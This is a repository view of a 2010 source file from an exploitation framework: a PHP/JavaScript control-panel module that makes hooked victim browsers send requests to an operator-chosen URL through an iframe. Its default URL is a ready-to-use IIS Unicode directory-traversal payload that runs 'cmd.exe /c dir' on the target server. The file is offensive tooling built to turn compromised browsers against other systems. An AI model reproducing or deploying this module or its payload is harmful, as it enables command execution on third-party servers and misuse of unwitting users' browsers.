Files
beef/modules/network/browser_request/index.php
wade@bindshell.net 3b8add44e1 <? changed to <php and some minor changes
git-svn-id: https://beef.googlecode.com/svn/trunk@21 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
2010-04-07 11:22:37 +00:00

46 lines
1.4 KiB
PHP

<?php
// Copyright (c) 2006-2010, Wade Alcorn
// All Rights Reserved
// wade@bindshell.net - http://www.bindshell.net
require_once("../../../include/common.inc.php"); // included for get_b64_file()
DEFINE('JS_FILE', './template.js');
?>
<script>
var rtnval = "Request Received";
function get_b64_code_request() {
// javascript is loaded from a file - it could be hard coded
var b64code = '<?php echo get_b64_file(JS_FILE); ?>';
// replace sections of the code with user input
b64code = b64replace(b64code, "URL",document.myform.url_string.value);
return b64code;
}
Element.Methods.set_autorun = function() {
ar.enable('Browser Request', get_b64_code_request());
}
Element.Methods.send_now = function() {
do_send(get_b64_code_request());
}
// add construct code to DOM
Element.addMethods();
</script>
<div id="module_header">Browser Request</div>
This module will create an iFrame and send a request to the URL specified below.<br><br>
<div id="module_subsection">
<form name="myform">
<div id="module_subsection_header">Request URL</div>
<input type="text" name="url_string" value="http://localhost/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"/>
<input class="button" type="button" value=" Set Autorun " onClick="javascript:set_autorun()"/>
<input class="button" type="button" value=" Send Now " onClick="javascript:send_now()"/>
</form>
</div>